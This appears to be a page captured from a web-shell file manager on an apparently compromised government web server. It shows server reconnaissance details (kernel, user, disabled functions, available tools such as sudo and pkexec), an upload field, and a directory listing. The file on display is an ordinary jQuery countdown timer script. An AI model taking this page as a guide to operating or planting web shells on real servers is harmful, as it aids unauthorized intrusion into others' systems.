Server IP : 103.169.32.36 / Your IP : 216.73.217.108 Web Server : Apache System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : apache ( 48) PHP Version : 5.6.40 Disable Function : NONE MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /home/dpmptsp/public_html/data_dan_statistik/js/ |
Upload File : |
| Current File : /home/dpmptsp/public_html/data_dan_statistik/js/coundown-timer.js |
(function($) {
$.fn.countdown = function(options, callback) {
//custom 'this' selector
thisEl = $(this);
//array of custom settings
var settings = {
'date': null,
'format': null
};
//append the settings array to options
if(options) {
$.extend(settings, options);
}
//main countdown function
function countdown_proc() {
eventDate = Date.parse(settings['date']) / 1000;
currentDate = Math.floor($.now() / 1000);
if(eventDate <= currentDate) {
callback.call(this);
clearInterval(interval);
}
seconds = eventDate - currentDate;
days = Math.floor(seconds / (60 * 60 * 24)); //calculate the number of days
seconds -= days * 60 * 60 * 24; //update the seconds variable with no. of days removed
hours = Math.floor(seconds / (60 * 60));
seconds -= hours * 60 * 60; //update the seconds variable with no. of hours removed
minutes = Math.floor(seconds / 60);
seconds -= minutes * 60; //update the seconds variable with no. of minutes removed
//conditional Ss
if (days == 1) { thisEl.find(".timeRefDays").text("day"); } else { thisEl.find(".timeRefDays").text("days"); }
if (hours == 1) { thisEl.find(".timeRefHours").text("hour"); } else { thisEl.find(".timeRefHours").text("hours"); }
if (minutes == 1) { thisEl.find(".timeRefMinutes").text("minute"); } else { thisEl.find(".timeRefMinutes").text("minutes"); }
if (seconds == 1) { thisEl.find(".timeRefSeconds").text("second"); } else { thisEl.find(".timeRefSeconds").text("seconds"); }
//logic for the two_digits ON setting
if(settings['format'] == "on") {
days = (String(days).length >= 2) ? days : "0" + days;
hours = (String(hours).length >= 2) ? hours : "0" + hours;
minutes = (String(minutes).length >= 2) ? minutes : "0" + minutes;
seconds = (String(seconds).length >= 2) ? seconds : "0" + seconds;
}
//update the countdown's html values.
if(!isNaN(eventDate)) {
thisEl.find(".days").text(days);
thisEl.find(".hours").text(hours);
thisEl.find(".minutes").text(minutes);
thisEl.find(".seconds").text(seconds);
} else {
alert("Invalid date. Here's an example: 12 Tuesday 2012 17:30:00");
clearInterval(interval);
}
}
//run the function
countdown_proc();
//loop the function
interval = setInterval(countdown_proc, 1000);
}
}) (jQuery);
| N4m3 |
5!z3 |
L45t M0d!f!3d |
0wn3r / Gr0up |
P3Rm!55!0n5 |
0pt!0n5 |
| .. |
-- |
December 21 2023 09:23:06 |
1000 / 1000 |
0755 |
|
| | | | | |
| audio.min.js |
15.605 KB |
January 13 2024 08:31:35 |
1000 / 1000 |
0755 |
|
| audiojs.swf |
1.605 KB |
January 13 2024 08:31:35 |
1000 / 1000 |
0755 |
|
| bootstrap.min.js |
35.108 KB |
January 13 2024 08:31:35 |
1000 / 1000 |
0755 |
|
| coundown-timer.js |
2.335 KB |
January 13 2024 08:31:35 |
1000 / 1000 |
0755 |
|
| gmaps.js |
53.804 KB |
January 13 2024 08:31:35 |
1000 / 1000 |
0755 |
|
| holder.js |
19.785 KB |
January 13 2024 08:31:35 |
1000 / 1000 |
0755 |
|
| html5shiv.js |
2.32 KB |
January 13 2024 08:31:35 |
1000 / 1000 |
0755 |
|
| jquery.countTo.js |
2.442 KB |
January 13 2024 08:31:35 |
1000 / 1000 |
0755 |
|
| jquery.fitvids.js |
3.186 KB |
January 13 2024 08:31:36 |
1000 / 1000 |
0755 |
|
| jquery.isotope.min.js |
15.657 KB |
January 13 2024 08:31:36 |
1000 / 1000 |
0755 |
|
| jquery.js |
90.924 KB |
January 13 2024 08:31:36 |
1000 / 1000 |
0755 |
|
| lightbox.min.js |
7.617 KB |
January 13 2024 08:31:36 |
1000 / 1000 |
0755 |
|
| main.js |
2.508 KB |
January 13 2024 08:31:36 |
1000 / 1000 |
0755 |
|
| masonry.min.js |
24.658 KB |
January 13 2024 08:31:36 |
1000 / 1000 |
0755 |
|
| player-graphics.gif |
1.279 KB |
January 13 2024 08:31:36 |
1000 / 1000 |
0755 |
|
| respond.min.js |
3.94 KB |
January 13 2024 08:31:36 |
1000 / 1000 |
0755 |
|
| w.gif |
4.394 KB |
January 13 2024 08:31:36 |
1000 / 1000 |
0755 |
|
| wow.min.js |
4.664 KB |
January 13 2024 08:31:36 |
1000 / 1000 |
0755 |
|
| zzz.js |
5.878 KB |
January 13 2024 08:31:36 |
1000 / 1000 |
0755 |
|